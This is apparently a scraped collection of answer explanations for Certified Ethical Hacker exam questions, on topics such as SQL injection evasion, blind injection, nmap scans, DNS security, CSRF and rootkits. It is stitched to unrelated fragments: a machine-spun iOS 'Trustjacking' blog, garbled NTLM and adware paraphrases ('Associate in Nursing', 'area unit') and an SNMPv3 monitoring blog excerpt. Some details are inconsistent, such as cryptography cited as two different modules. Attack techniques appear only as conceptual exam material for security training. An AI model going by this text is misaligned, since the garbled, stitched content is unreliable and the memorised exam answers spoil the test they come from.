A. Utilizing the char encoding function to convert hexadecimal and decimal values into characters that pass-through SQL engine parsing: This option is not feasible because the char encoding function is not supported by all SQL engines, and it may not be able to convert all hexadecimal and decimal values into valid characters. Moreover, the char encoding function may not be able to bypass the signature detection of the IDS, as it may still match the keywords or syntax of the SQL query3.

B. Using the URL encoding method to replace characters with their ASCII codes in hexadecimal form: This option is not effective because the URL encoding method is not applicable to SQL queries, as it is designed for encoding special characters in URLs. The URL encoding method may not be able to replace all characters with their ASCII codes, and it may not be able to preserve the functionality and logic of the SQL query. Furthermore, the URL encoding method may not be able to evade the signature detection of the IDS, as it may still match the keywords or syntax of the SQL query4.

C. Implementing sophisticated matches such as “OR ‘john’ = john" in place of classical matches like “OR 1-1”: This option is not advanced because it is a common and basic SQL injection technique that does not involve any evasion or obfuscation. This technique involves injecting a logical expression that is always true, such as “OR ‘john’ = john” or “OR 1-1”, to bypass the authentication or authorization checks of the SQL query. However, this technique may not be able to bypass the signature detection of the IDS, as it may easily match the keywords or syntax of the SQL query.

YARA rules are a powerful way to detect and classify malware based on patterns, signatures, and behaviors. They can be used to complement Snort rules, which are mainly focused on network traffic analysis. However, writing YARA rules manually can be time-consuming and error-prone, especially when dealing with large and diverse malware samples. Therefore, using a tool that can automate or assist the generation of YARA rules can be very helpful for ethical hackers.

Among the four options, yarGen is the best choice for this purpose, because it generates YARA rules from strings identified in malware files while removing strings that also appear in goodware files. This way, yarGen can reduce the false positives and increase the accuracy of the YARA rules. yarGen also supports various features, such as whitelisting, scoring, wildcards, and regular expressions, to improve the quality and efficiency of the YARA rules.

The other options are not as suitable as yarGen for this purpose. AutoYara is a tool that automates the generation of YARA rules from a set of malicious and benign files, but it does not perform any filtering or optimization of the strings, which may result in noisy and ineffective YARA rules. YaraRET is a tool that helps in reverse engineering Trojans to generate YARA rules, but it is limited to a specific type of malware and requires manual intervention and analysis. koodous is a platform that combines social networking with antivirus signatures and YARA rules to detect malware, but it is not a tool for generating YARA rules, rather it is a tool for sharing and collaborating on YARA rules. References:

yarGen - A Tool to Generate YARA Rules

YARA Rules: The Basics

Why master YARA: from routine to extreme threat hunting cases

Well-known and widely used password-cracking tools include:

A. L0phtcrack – Windows password auditing tool that can crack LM and NTLM hashes.

E. John the Ripper – Versatile password cracker that supports many hash types on Unix, Windows, etc.

Incorrect Options:

B. NetCat – A network tool used for port scanning and data transfer.

C. “Jack the Ripper” is likely a mistaken reference to John the Ripper.

D. Netbus – A remote access Trojan, not a password cracker.

From CEH v13 Courseware:

Module 6: Password Cracking Tools

Adware, or advertising supported computer code, is computer code that displays unwanted advertisements on your pc. Adware programs can tend to serve you pop-up ads, will modification your browser’s homepage, add spyware and simply bombard your device with advertisements. Adware may be a additional summary name for doubtless unwanted programs. It’s roughly a virulent disease and it’s going to not be as clearly malicious as a great deal of different problematic code floating around on the net. create no mistake concerning it, though, that adware has to return off of no matter machine it’s on. Not solely will adware be extremely annoying whenever you utilize your machine, it might additionally cause semipermanent problems for your device.

Adware a network users the browser to gather your internet browsing history so as to ’target’ advertisements that appear tailored to your interests. At their most innocuous, adware infections square measure simply annoying. as an example, adware barrages you with pop-up ads that may create your net expertise markedly slower and additional labor intensive.

To secure DNS infrastructure, best practices include:

B. Harden DNS Servers: Disable unused services, apply patches, implement secure configurations.

C. Use Split-Horizon DNS: Present different DNS data to internal vs. external users to prevent data leakage.

D. Restrict Zone Transfers: Prevent unauthorized replication of zone data using IP-based access control or TSIG.

E. Subnet Diversity: Place DNS servers on different subnets or networks to enhance resilience.

From CEH v13 Official Courseware:

Module 3: Scanning Networks

Module 20: Cryptography

Incorrect Option:

A: Hosting DNS on multi-purpose servers increases the attack surface and violates security best practices.

An iPhone client’s most noticeably terrible bad dream is to have somebody oversee his/her gadget, including the capacity to record and control all action without waiting be in a similar room. In this blog entry, we present another weakness called “Trustjacking”, which permits an aggressor to do precisely that.

This weakness misuses an iOS highlight called iTunes Wi-Fi sync, which permits a client to deal with their iOS gadget without genuinely interfacing it to their PC. A solitary tap by the iOS gadget proprietor when the two are associated with a similar organization permits an assailant to oversee the gadget. Furthermore, we will stroll through past related weaknesses and show the progressions that iPhone has made to alleviate them, and why these are adequately not to forestall comparative assaults.

After interfacing an iOS gadget to another PC, the clients are being found out if they trust the associated PC or not. Deciding to believe the PC permits it to speak with the iOS gadget by means of the standard iTunes APIs.

This permits the PC to get to the photographs on the gadget, perform reinforcement, introduce applications and considerably more, without requiring another affirmation from the client and with no recognizable sign. Besides, this permits enacting the “iTunes Wi-Fi sync” highlight, which makes it conceivable to proceed with this sort of correspondence with the gadget even after it has been detached from the PC, as long as the PC and the iOS gadget are associated with a similar organization. It is intriguing to take note of that empowering “iTunes Wi-Fi sync” doesn’t need the casualty’s endorsement and can be directed simply from the PC side.

Getting a live stream of the gadget’s screen should be possible effectively by consistently requesting screen captures and showing or recording them distantly.

It is imperative to take note of that other than the underlying single purpose of disappointment, approving the vindictive PC, there is no other component that forestalls this proceeded with access. Likewise, there isn’t anything that informs the clients that by approving the PC they permit admittance to their gadget even in the wake of detaching the USB link.

Implementing regular firmware updates for all IoT devices is the primary recommendation to prevent DDoS attacks on the smart city project. Firmware updates can fix security vulnerabilities, patch bugs, and improve performance of the IoT devices, making them less susceptible to malware infections and botnet recruitment12. Firmware updates can also enable new security features, such as encryption, authentication, and firewall, that can protect the IoT devices from unauthorized access and data theft3. Firmware updates should be done automatically or remotely, without requiring user intervention, to ensure timely and consistent security across the IoT network4.

The other options are not as effective or feasible as firmware updates for the following reasons:

B. Deploying network intrusion detection systems (IDS) across the IoT network can help detect and alert DDoS attacks, but not prevent them. IDS can monitor network traffic and identify malicious patterns, such as high volume, spoofed IP addresses, or unusual protocols, that indicate a DDoS attack5. However, IDS cannot block or mitigate the attack, and may even be overwhelmed by the flood of traffic, resulting in false positives or missed alerts. Moreover, deploying IDS across a vast network of IoT devices can be costly, complex, and resource-intensive, as it requires dedicated hardware, software, and personnel.

C. Establishing strong, unique passwords for each IoT device can prevent unauthorized access and brute-force attacks, but not DDoS attacks. Passwords can protect the IoT devices from being compromised by hackers who try to guess or crack the default or weak credentials. However, passwords cannot prevent DDoS attacks that exploit known or unknown vulnerabilities in the IoT devices, such as buffer overflows, command injections, or protocol flaws. Moreover, establishing and managing strong, unique passwords for each IoT device can be challenging and impractical, as it requires user awareness, memory, and effort.

D. Implementing IP address whitelisting for all IoT devices can restrict network access and communication to trusted sources, but not DDoS attacks. IP address whitelisting can filter out unwanted or malicious traffic by allowing only the predefined IP addresses to connect to the IoT devices. However, IP address whitelisting cannot prevent DDoS attacks that use spoofed or legitimate IP addresses, such as reflection or amplification attacks, that bypass the whitelisting rules. Moreover, implementing IP address whitelisting for all IoT devices can be difficult and risky, as it requires constant updating, testing, and monitoring of the whitelist, and may block legitimate or emergency traffic by mistake.

The AndroidManifest.xml file contains information of your package, including components of the appliance like activities, services, broadcast receivers, content providers etc.

It performs another tasks also:

• it’s responsible to guard the appliance to access any protected parts by providing the permissions.

• It also declares the android api that the appliance goes to use.

• It lists the instrumentation classes. The instrumentation classes provides profiling and other informations. These informations are removed just before the appliance is published etc.

This is the specified xml file for all the android application and located inside the basis directory.

The host discovery technique that the tester should use is TCP SYN Ping Scan. This technique sends a TCP SYN packet to a specified port on the target host and waits for a response. If the host responds with a TCP SYN/ACK packet, it means the host is alive and the port is open. If the host responds with a TCP RST packet, it means the host is alive but the port is closed. If the host does not respond at all, it means the host is either dead or filtered by a firewall12. TCP SYN Ping Scan can bypass firewall restrictions because it mimics the initial stage of a TCP three-way handshake, which is a common and legitimate network activity. Therefore, most firewalls will allow TCP SYN packets to pass through and reach the target host, unless they are configured to block specific ports or IP addresses3. TCP SYN Ping Scan can also accurately identify live systems because it does not rely on ICMP, which may be blocked or rate-limited by some firewalls or routers.

The other options are not as effective or feasible as TCP SYN Ping Scan for the following reasons:

A. UDP Ping Scan: This technique sends a UDP packet to a specified port on the target host and waits for a response. If the host responds with an ICMP Port Unreachable message, it means the host is alive but the port is closed. If the host does not respond at all, it means the host is either dead, the port is open, or the packet is filtered by a firewall12. UDP Ping Scan may not bypass firewall restrictions because some firewalls may block or drop UDP packets, especially if they are sent to uncommon or reserved ports. UDP Ping Scan may also not accurately identify live systems because it cannot distinguish between open ports and filtered packets, and it may generate false positives or negatives due to packet loss or rate-limiting.

B. ICMP ECHO Ping Scan: This technique sends an ICMP ECHO Request packet to the target host and waits for an ICMP ECHO Reply packet. If the host responds with an ICMP ECHO Reply packet, it means the host is alive. If the host does not respond at all, it means the host is either dead or filtered by a firewall12. ICMP ECHO Ping Scan may not bypass firewall restrictions because some firewalls may block or drop ICMP packets, especially if they are sent to prevent ping sweeps or denial-of-service attacks. ICMP ECHO Ping Scan may also not accurately identify live systems because it may generate false positives or negatives due to packet loss or rate-limiting.

C. ICMP Timestamp Ping Scan: This technique sends an ICMP Timestamp Request packet to the target host and waits for an ICMP Timestamp Reply packet. If the host responds with an ICMP Timestamp Reply packet, it means the host is alive. If the host does not respond at all, it means the host is either dead or filtered by a firewall12. ICMP Timestamp Ping Scan may not bypass firewall restrictions because some firewalls may block or drop ICMP packets, especially if they are sent to prevent ping sweeps or denial-of-service attacks. ICMP Timestamp Ping Scan may also not accurately identify live systems because it may generate false positives or negatives due to packet loss or rate-limiting.

The technique that the hacker would consider next to obtain useful information about the underlying database is to utilize a blind injection technique that uses time delays or error signatures to extract information. A blind injection technique is a type of SQL injection technique that is used when the web application does not return any detailed error messages or data from the database, but only indicates whether the query was executed successfully or not. A blind injection technique relies on sending specially crafted SQL queries that cause a noticeable change in the behavior or response of the web application, such as a time delay or an error signature, which can then be used to infer information about the database. For example, the hacker could use the following methods12:

Time-based blind injection: This method involves injecting a SQL query that contains a time delay function, such as SLEEP() or WAITFOR DELAY, which pauses the execution of the query for a specified amount of time. The hacker can then measure the time difference between the normal and the delayed responses, and use it to determine whether the injected query was true or false. By using this method, the hacker can perform a binary search to guess the values of the data in the database, one bit at a time.

Error-based blind injection: This method involves injecting a SQL query that contains a deliberate error, such as a division by zero, a type mismatch, or an invalid conversion, which causes the database to generate an error message. The hacker can then analyze the error message, which may contain useful information about the database, such as the version, the name, the structure, or the data. By using this method, the hacker can exploit the error handling mechanism of the database to extract information.

The other options are not as suitable as option D for the following reasons:

A. Use the UNION operator to combine the result sets of two or more SELECT statements: This option is not feasible because it requires the web application to return data from the database, which is not the case in this scenario. The UNION operator is a SQL operator that allows the hacker to append the results of another SELECT statement to the original query, and display them as part of the web page. This way, the hacker can retrieve data from other tables or columns that are not intended to be shown by the web application. However, this option does not work when the web application does not return any data or error messages from the database, as in this scenario3.

B. Attempt to compromise the system through OS-level command shell execution: This option is not relevant because it is not a SQL injection technique, but a post-exploitation technique. OS-level command shell execution is a method of gaining access to the underlying operating system of the web server, by injecting a SQL query that contains a system command, such as xp_cmdshell, exec, or shell_exec, which executes the command on the server. This way, the hacker can perform various actions on the server, such as uploading files, downloading files, or running programs. However, this option does not help to obtain information about the database, which is the goal of this scenario4.

C. Try to insert a string value where a number is expected in the input field: This option is not effective because it is a basic SQL injection technique that is used to detect SQL injection vulnerabilities, not to exploit them. Inserting a string value where a number is expected in the input field is a method of triggering a syntax error in the SQL query, which may reveal the structure or the content of the query in the error message. This way, the hacker can identify the vulnerable parameters and the type of the database. However, this option does not work when the web application does not return any detailed error messages from the database, as in this scenario5.

In a Windows network, nongovernmental organization (New Technology) local area network Manager (NTLM) could be a suite of Microsoft security protocols supposed to produce authentication, integrity, and confidentiality to users.NTLM is that the successor to the authentication protocol in Microsoft local area network Manager (LANMAN), Associate in Nursing older Microsoft product. The NTLM protocol suite is enforced in an exceedingly Security Support supplier, which mixes the local area network Manager authentication protocol, NTLMv1, NTLMv2 and NTLM2 Session protocols in an exceedingly single package. whether or not these protocols area unit used or will be used on a system is ruled by cluster Policy settings, that totally different|completely different} versions of Windows have different default settings. NTLM passwords area unit thought-about weak as a result of they will be brute-forced very simply with fashionable hardware.

NTLM could be a challenge-response authentication protocol that uses 3 messages to authenticate a consumer in an exceedingly affiliation orientating setting (connectionless is similar), and a fourth extra message if integrity is desired.

First, the consumer establishes a network path to the server and sends a NEGOTIATE_MESSAGE advertising its capabilities.

Next, the server responds with CHALLENGE_MESSAGE that is employed to determine the identity of the consumer.

Finally, the consumer responds to the challenge with Associate in Nursing AUTHENTICATE_MESSAGE.

The NTLM protocol uses one or each of 2 hashed word values, each of that are keep on the server (or domain controller), and that through a scarcity of seasoning area unit word equivalent, that means that if you grab the hash price from the server, you’ll evidence while not knowing the particular word. the 2 area unit the lm Hash (a DES-based operate applied to the primary fourteen chars of the word born-again to the standard eight bit laptop charset for the language), and also the nt Hash (MD4 of the insufficient endian UTF-16 Unicode password). each hash values area unit sixteen bytes (128 bits) every.

The NTLM protocol additionally uses one among 2 a method functions, looking on the NTLM version. National Trust LanMan and NTLM version one use the DES primarily based LanMan a method operate (LMOWF), whereas National TrustLMv2 uses the NT MD4 primarily based a method operate (NTOWF).

1. AV (Asset value) = $300 + (14 * $10) = $440 - the cost of a hard drive plus the work of a recovery person, i.e.how much would it take to replace 1 asset? 10 hours for resorting the OS and soft + 4 hours for DB restore multiplies by hourly rate of the recovery person.

2. SLE (Single Loss Expectancy) = AV * EF (Exposure Factor) = $440 * 1 = $440

3. ARO (Annual rate of occurrence) = 1/3 (every three years, meaning the probability of occurring during 1 years is 1/3)

4. ALE (Annual Loss Expectancy) = SLE * ARO = 0.33 * $440 = $145.2

CEH describes FIN scans as stealthy scans that send packets with the FIN flag without initiating a TCP handshake. According to TCP RFC behavior, closed ports respond with RST packets while open ports ignore the probe, producing no response. This allows enumeration of port states while evading IDS systems that typically monitor SYN-based scans.

In CEH v13 Module 01: Introduction to Ethical Hacking, the types of law applicable to cybersecurity incidents are discussed. When executives fail to protect their company’s information systems and this leads to financial loss, data breaches, or negligence, the resulting liability is considered under civil law.

Civil law deals with non-criminal disputes such as negligence, liability, and contractual breaches.

A company or affected party may file a civil lawsuit for damages.

Executives can be held civilly liable for failing in their duty of care, especially when regulations like GDPR, SOX, or HIPAA are involved.

CEH v13 states that DNS server hijacking occurs when attackers compromise the authoritative DNS infrastructure and alter DNS zone records to redirect all legitimate queries to malicious destinations. Unlike DNS cache poisoning, which affects specific resolvers temporarily, server hijacking manipulates the core DNS authority controlling the domain. This results in a complete redirect for all users, regardless of geographic location or device configuration. CEH emphasizes that such attacks can lead to large-scale credential theft, phishing, financial fraud, and session compromise because the attacker presents an identical clone site while retaining full control of DNS routing. DNS tunneling is used for covert data exfiltration and does not redirect traffic. DNS rebinding targets browser policies, not global DNS redirection. DNS amplification is a volumetric DDoS technique unrelated to zone manipulation. The scenario matches DNS server hijacking exactly.

Cloud-based DDoS mitigation services provide upstream traffic scrubbing, detecting and filtering high-volume attacks such as DNS amplification and HTTP floods before the traffic reaches the victim’s network. These services use distributed infrastructures capable of handling multi-vector attacks that surpass the capacity of traditional on-premises firewalls and IDS. Traffic scrubbing centers distinguish legitimate traffic from malicious traffic, allowing normal operations to continue without service disruption.

Blind SQL injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack has traditionally been considered time-intensive because a new statement needed to be crafted for each bit recovered, and depending on its structure, the attack may consist of many unsuccessful requests. Recent advancements have allowed each request to recover multiple bits, with no unsuccessful requests, allowing for more consistent and efficient extraction.

CEH v13 describes Cross-Site Request Forgery (CSRF) as a technique that forces authenticated users to unknowingly execute actions within a web application without their intent. Unlike session hijacking methods that require stealing or replaying session cookies, CSRF exploits the trust relationship that the server has with a user's browser. Even with HTTPS, secure cookies, and MFA, once a user is authenticated, the browser automatically sends session cookies with each request. If the attacker convinces the victim to load a maliciously crafted webpage or URL, the browser sends a forged request to the target application, executing actions under the user’s authenticated session. CEH notes that secure cookies and MFA do not stop CSRF because no credentials are stolen—only forced actions occur. This technique is sophisticated because it leaves minimal traces, avoids direct cookie manipulation, bypasses robust authentication mechanisms, and leverages design weaknesses rather than technical misconfigurations. Protection typically requires anti-CSRF tokens and proper origin validation.

Censys is a powerful Internet-wide scanning tool that allows users to:

Discover and analyze devices and services exposed to the public internet

Enumerate connected IoT devices, open ports, software versions

Provide structured and searchable reports for vulnerability analysis

According to CEH v13:

Censys continuously scans the IPv4 address space and maintains up-to-date databases of connected devices and their metadata.

Incorrect Options:

B. Wapiti is a web application vulnerability scanner.

C. NeuVector is a container security solution.

D. Lacework is a cloud workload protection platform, not focused on IoT enumeration.

Reference – CEH v13 Official Courseware:

Module 18: IoT and OT Hacking

Section: “IoT Discovery Tools”

Tool Focus: Censys, Shodan

===========

Comprehensive and Detailed Explanation:

In TCP session hijacking or spoofing:

An attacker sends a spoofed packet with the ACK bit set and a guessed (or predicted) sequence number to fool the receiver into thinking it's a legitimate continuation of an existing session.

Fred is simulating this by sending a TCP packet with the ACK bit and using his own IP as the source, trying to trick the switch into believing it's part of an already established session.

From CEH v13 Courseware:

Module 11: Session Hijacking

In CEH v13 Module 03: Scanning Networks, the behavior of firewalls in response to ACK scans is described in detail, especially regarding stateful vs. stateless firewalls.

An ACK scan (nmap -sA) is primarily used for firewall rule analysis. Here’s how it works:

When you send a TCP ACK segment:

If the port is closed and no firewall is present, the target should respond with a TCP RST packet.

If a stateless (non-stateful) firewall is used, it typically allows or blocks packets based only on rules about IP addresses, ports, and protocol type, without tracking session state.

If a stateful firewall is used, it keeps track of connection states. Therefore:

An unsolicited ACK packet (not part of any established session) will be silently dropped, because it doesn’t correspond to any active connection.

No RST is sent back because the firewall suppresses it, recognizing it as potentially malicious or out of context.

Therefore:

No RST response = packet was silently dropped.

Silent dropping of unsolicited ACK packets = Stateful Firewall Behavior.

Option Analysis:

A. There is no firewall in place

❌ Incorrect. If there were no firewall, an RST would be sent from the closed port.

B. This event does not tell you anything about the firewall

❌ Incorrect. The lack of a response is actually meaningful and implies stateful filtering behavior.

C. It is a stateful firewall

Correct. A stateful firewall inspects the packet, sees no valid session, and drops it silently.

D. It is a non-stateful firewall

❌ Incorrect. A non-stateful firewall would typically not inspect session state, and you'd still expect to see a response (likely an RST).

Reference from CEH v13 Study Guide and Courseware:

Module 03 – Scanning Networks, Section: Nmap Scanning Techniques → TCP ACK Scan

CEH Engage Labs – Network Scanning Phase: Firewall Rule Detection using ACK Scans

In an SOA (Start of Authority) record, the fifth value represents the “Expire” interval — the time a secondary DNS server will keep trying to contact the primary server before considering the zone data stale or invalid.

SOA Format:

SOA Primary-NS Hostmaster (Serial Refresh Retry Expire Minimum-TTL)

Given SOA:

(200302028 3600 3600 604800 3600)

Serial: 200302028

Refresh: 3600 seconds

Retry: 3600 seconds

Expire: 604800 seconds = 7 days = 1 week

Minimum TTL: 3600

So, if the secondary DNS cannot contact the primary for 604800 seconds (1 week), it will stop serving that zone’s data.

In CEH v13 Module 14: Cryptography, VPN (Virtual Private Network) technology is described as the method that allows users to securely transmit data over an insecure (public) network by establishing a secure, encrypted tunnel.

VPN Features:

Encrypts all traffic between the user's device and the target network.

Prevents session hijacking, eavesdropping, and man-in-the-middle (MITM) attacks.

Common protocols: IPSec, L2TP, SSL VPN, and OpenVPN.

Option Clarification:

A. DMZ: A network segmentation strategy, not an encryption method.

B. SMB signing: Ensures integrity for SMB protocol, but not for remote tunneling.

C. VPN: Correct. Used to securely tunnel over public networks.

D. Switch network: Refers to network segmentation using switches, unrelated to tunneling.

The honey trap is a technique where an attacker targets a person online by pretending to be an attractive person and then begins a fake online relationship to obtain confidential information about the target company. In this technique, the victim is an insider who possesses critical information about the target organization.

Baiting is a technique in which attackers offer end users something alluring in exchange for

important information such as login details and other sensitive data. This technique relies on

the curiosity and greed of the end-users. Attackers perform this technique by leaving a physical

device such as a USB flash drive containing malicious files in locations where people can easily

find them, such as parking lots, elevators, and bathrooms. This physical device is labeled with a

legitimate company's logo, thereby tricking end-users into trusting it and opening it on their

systems. Once the victim connects and opens the device, a malicious file downloads. It infects

the system and allows the attacker to take control.

For example, an attacker leaves some bait in the form of a USB drive in the elevator with the

label "Employee Salary Information 2019" and a legitimate company's logo. Out of curiosity and

greed, the victim picks up the device and opens it up on their system, which downloads the

bait. Once the bait is downloaded, a piece of malicious software installs on the victim's system,

giving the attacker access.

IoTSeeker is a specialized tool used to identify Internet of Things (IoT) devices that are accessible over a network and are still configured with their default factory credentials. These devices often ship with insecure settings, which attackers can exploit.

From CEH v13 Official Courseware:

IoTSeeker:

Automatically scans for common IoT devices

Uses a database of known default usernames and passwords

Flags insecure devices for further investigation or exploitation

The tool is commonly used in the reconnaissance phase for identifying low-hanging vulnerabilities in IoT environments.

Incorrect options:

B. IoT Inspector monitors network traffic for smart devices but is more focused on behavior monitoring than credential scanning.

C. AT&T IoT Platform and D. Azure IoT Central are legitimate enterprise platforms for IoT device management and are not penetration testing tools.

Reference – CEH v13 Official Courseware:

Module 18: IoT and OT Hacking

Section: “IoT Attack Surface”

Tool Reference: “IoTSeeker”

Practical Lab: CEH Engage IoT Device Discovery

===========

The TPM is a chip that's part of your computer's motherboard — if you bought an off-the-shelf PC, it's soldered onto the motherboard. If you built your own computer, you can buy one as an add-on module if your motherboard supports it. The TPM generates encryption keys, keeping part of the key to itself

Comprehensive and Detailed Explanation:

The AAAA (Quad A) record is the DNS record type used to map a domain name to an IPv6 address. It is the IPv6 equivalent of an A (Address) record, which maps to an IPv4 address.

From CEH v13 Courseware:

Module 4: Enumeration → DNS Record Types

The most probable subsequent action from the attacker based on the Cyber Kill Chain Methodology is to exploit the malicious payload delivered to the target organization and establish a foothold. This option works as follows:

The Cyber Kill Chain Methodology is a framework that describes the stages of a cyberattack from the perspective of the attacker. It helps defenders to understand the attacker’s objectives, tactics, and techniques, and to design effective countermeasures. The Cyber Kill Chain Methodology consists of seven stages: reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objectives12.

The delivery stage is the third stage in the Cyber Kill Chain Methodology, and it involves sending or transmitting the weaponized payload to the target system. The delivery stage can use various methods, such as email attachments, web links, removable media, or network protocols. The delivery stage aims to reach the target system and bypass any security controls, such as firewalls, antivirus, or email filters12.

The exploitation stage is the fourth stage in the Cyber Kill Chain Methodology, and it involves executing the malicious payload on the target system. The exploitation stage can use various techniques, such as buffer overflows, code injection, or privilege escalation. The exploitation stage aims to exploit a vulnerability or a weakness in the target system and gain access to its resources, such as files, processes, or memory12.

The installation stage is the fifth stage in the Cyber Kill Chain Methodology, and it involves installing a backdoor or a malware on the target system. The installation stage can use various tools, such as rootkits, trojans, or ransomware. The installation stage aims to establish a foothold on the target system and maintain persistence, which means to survive reboots, updates, or scans12.

Therefore, the most probable subsequent action from the attacker based on the Cyber Kill Chain Methodology is to exploit the malicious payload delivered to the target organization and establish a foothold, because:

This action follows the logical sequence of the Cyber Kill Chain Methodology, as it is the next stage after the delivery stage.

This action is consistent with the attacker’s goal, as it allows the attacker to gain access and control over the target system and prepare for further actions.

This action is feasible, as the attacker has already delivered the malicious payload to the target system and may have bypassed some security controls.

The other options are not as probable as option B for the following reasons:

A. The attacker will attempt to escalate privileges to gain complete control of the compromised system: This option is possible, but not the most probable, because it is not the next stage in the Cyber Kill Chain Methodology, but rather a technique that can be used in the exploitation stage or the installation stage. Privilege escalation is a method of increasing the level of access or permissions on a system, such as from a normal user to an administrator. Privilege escalation can help the attacker to gain complete control of the compromised system, but it is not a mandatory step, as the attacker may already have sufficient privileges or may use other techniques to achieve the same goal12.

C. The attacker will initiate an active connection to the target system to gather more data: This option is possible, but not the most probable, because it is not the next stage in the Cyber Kill Chain Methodology, but rather a technique that can be used in the command and control stage or the actions on objectives stage. An active connection is a communication channel that allows the attacker to send commands or receive data from the target system, such as a remote shell or a botnet. An active connection can help the attacker to gather more data from the target system, but it is not a necessary step, as the attacker may already have enough data or may use other techniques to obtain more data12.

D. The attacker will start reconnaissance to gather as much information as possible about the target: This option is not probable, because it is not the next stage in the Cyber Kill Chain Methodology, but rather the first stage. Reconnaissance is the process of collecting information about the target, such as its IP address, domain name, network structure, services, vulnerabilities, or employees. Reconnaissance is usually done before the delivery stage, as it helps the attacker to identify the target and plan the attack. Reconnaissance can be done again after the delivery stage, but it is not the most likely action, as the attacker may already have enough information or may focus on other actions12.

Web Application Threats - Watering Hole Attack In a watering hole attack, the attacker identifies the kinds of websites a target company/individual frequently surfs and tests those particular websites to identify any possible vulnerabilities. Attacker injects malicious script/code into the web application that can redirect the webpage and download malware onto the victim machine. (P.1797/1781)

The main purpose of a rootkit is to hide malicious activity by modifying or replacing legitimate system binaries (e.g., ls, ps, netstat) so they no longer show the presence of malicious files, users, or processes. This enables attackers to maintain persistent and stealthy access.

From CEH v13 Official Courseware:

Module 6: Malware Threats → Rootkits

CEH v13 Study Guide states:

“Rootkits are stealthy programs designed to conceal the existence of other malicious processes or programs by replacing legitimate operating system utilities and binaries. This makes detection and removal extremely difficult.”

Incorrect Options:

A: This is a backdoor’s behavior.

B: A buffer overflow is a method of exploitation, not the rootkit’s purpose.

D: Refers to a backdoor or vulnerability, not a rootkit’s core function.

Comprehensive and Detailed Explanation From CEH v13 Guide:

R-U-Dead-Yet? (RUDY) is a DoS tool that targets web applications by sending slow HTTP POST requests with large Content-Length headers. This consumes server resources, leading to a denial of service.

CEH v13 Reference:

Module 9: Denial-of-Service – DoS Tools

“R-U-Dead-Yet? (RUDY) sends long-form POST requests to consume server-side sessions and exhaust resources without completing the transaction.”

In CEH v13 Module 03: Scanning Networks, stealth scanning refers to a method of scanning that avoids detection by not completing the TCP handshake.

-sS = TCP SYN scan (Stealth scan)

Sends SYN packet.

If SYN-ACK is returned, the port is open; then a RST is sent back instead of completing handshake.

Harder to detect via IDS/IPS.

Option Analysis:

A. -sM: TCP Maimon scan (rarely used).

B. -sU: UDP scan.

C. -sS: Stealth SYN scan.

D. -sT: TCP Connect scan (not stealthy).

Windows TTL 128, Linux TTL 64, OpenBSD 255 ...

Time to Live (TTL) represents to number of 'hops' a packet can take before it is considered invalid. For Windows/Windows Phone, this value is 128. This value is 64 for Linux/Android.

Types of Vulnerability Assessment - External Assessment External assessment examines the network from a hacker’s point of view to identify exploits and vulnerabilities accessible to the outside world. These types of assessments use external devices such as firewalls, routers, and servers. An external assessment estimates the threat of network security attacks from outside the organization. It determines the level of security of the external network and firewall. (P.527/511)

External assessment examines the network from a hacker’s point of view to identify exploits and vulnerabilities accessible to the outside world. These types of assessments use external devices such as firewalls, routers, and servers. An external assessment estimates the threat of network security attacks from outside the organization. It determines the level of security of the external network and firewall.

The following are some of the possible steps in performing an external assessment:

o Determine a set of rules for firewall and router configurations for the external network

o Check whether the external server devices and network devices are mapped o Identify open ports and related services on the external network o Examine the patch levels on the server and external network devices o Review detection systems such as IDS, firewalls, and application-layer protection systems

o Get information on DNS zones

o Scan the external network through a variety of proprietary tools available on the Internet

o Examine Web applications such as e-commerce and shopping cart software for vulnerabilities

Bluedriving is a bluetooth wardriving utility. It can capture bluetooth devices, lookup their services, get GPS information and present everything in a nice web page. It can search for and show a lot of information about the device, the GPS address and the historic location of devices on a map. The main motivation of this tool is to research about the targeted surveillance of people by means of its cellular phone or car. With this tool you can capture information about bluetooth devices and show, on a map, the points where you have seen the same device in the past.

In CEH v13 Module 06: Malware Threats, code emulation is defined as a technique used by modern antivirus software where a virtual CPU and memory are created to safely execute and analyze malware in a sandboxed environment.

This allows the detection engine to observe runtime behavior of suspicious code without risking the actual system.

It’s more effective than signature-based detection for catching polymorphic and obfuscated malware.

Example Usage enip-info:

- nmap --script enip-info -sU -p 44818

This NSE script is used to send a EtherNet/IP packet to a remote device that has TCP 44818 open. The script will send a Request Identity Packet and once a response is received, it validates that it was a proper response to the command that was sent, and then will parse out the data. Information that is parsed includes Device Type, Vendor ID, Product name, Serial Number, Product code, Revision Number, status, state, as well as the Device IP.

This script was written based of information collected by using the the Wireshark dissector for CIP, and EtherNet/IP, The original information was collected by running a modified version of the ethernetip.py script

We have various articles already in our documentation for setting up SNMPv2 trap handling in Opsview, but SNMPv3 traps are a whole new ballgame. They can be quite confusing and complicated to set up the first time you go through the process, but when you understand what is going on, everything should make more sense.

SNMP has gone through several revisions to improve performance and security (version 1, 2c and 3). By default, it is a UDP port based protocol where communication is based on a ‘fire and forget’ methodology in which network packets are sent to another device, but there is no check for receipt of that packet (versus TCP port when a network packet must be acknowledged by the other end of the communication link). 

There are two modes of operation with SNMP – get requests (or polling) where one device requests information from an SNMP enabled device on a regular basis (normally using UDP port 161), and traps where the SNMP enabled device sends a message to another device when an event occurs (normally using UDP port 162). The latter includes instances such as someone logging on, the device powering up or down, or a wide variety of other problems that would need this type of investigation.

This blog covers SNMPv3 traps, as polling and version 2c traps are covered elsewhere in our documentation.

SNMP traps

Since SNMP is primarily a UDP port based system, traps may be ‘lost’ when sending between devices; the sending device does not wait to see if the receiver got the trap. This means if the configuration on the sending device is wrong (using the wrong receiver IP address or port) or the receiver isn’t listening for traps or rejecting them out of hand due to misconfiguration, the sender will never know.

The SNMP v2c specification introduced the idea of splitting traps into two types; the original ‘hope it gets there’ trap and the newer ‘INFORM’ traps. Upon receipt of an INFORM, the receiver must send an acknowledgement back. If the sender doesn’t get the acknowledgement back, then it knows there is an existing problem and can log it for sysadmins to find when they interrogate the device.

To prevent networks from sniffing attacks, organizations and individual users should keep away from applications using insecure protocols, like basic HTTP authentication, File Transfer Protocol (FTP), and Telnet. Instead, secure protocols such as HTTPS, Secure File Transfer Protocol (SFTP), and Secure Shell (SSH) should be preferred. In case there is a necessity for using any insecure protocol in any application, all the data transmission should be encrypted. If required, VPN (Virtual Private Networks) can be used to provide secure access to users.

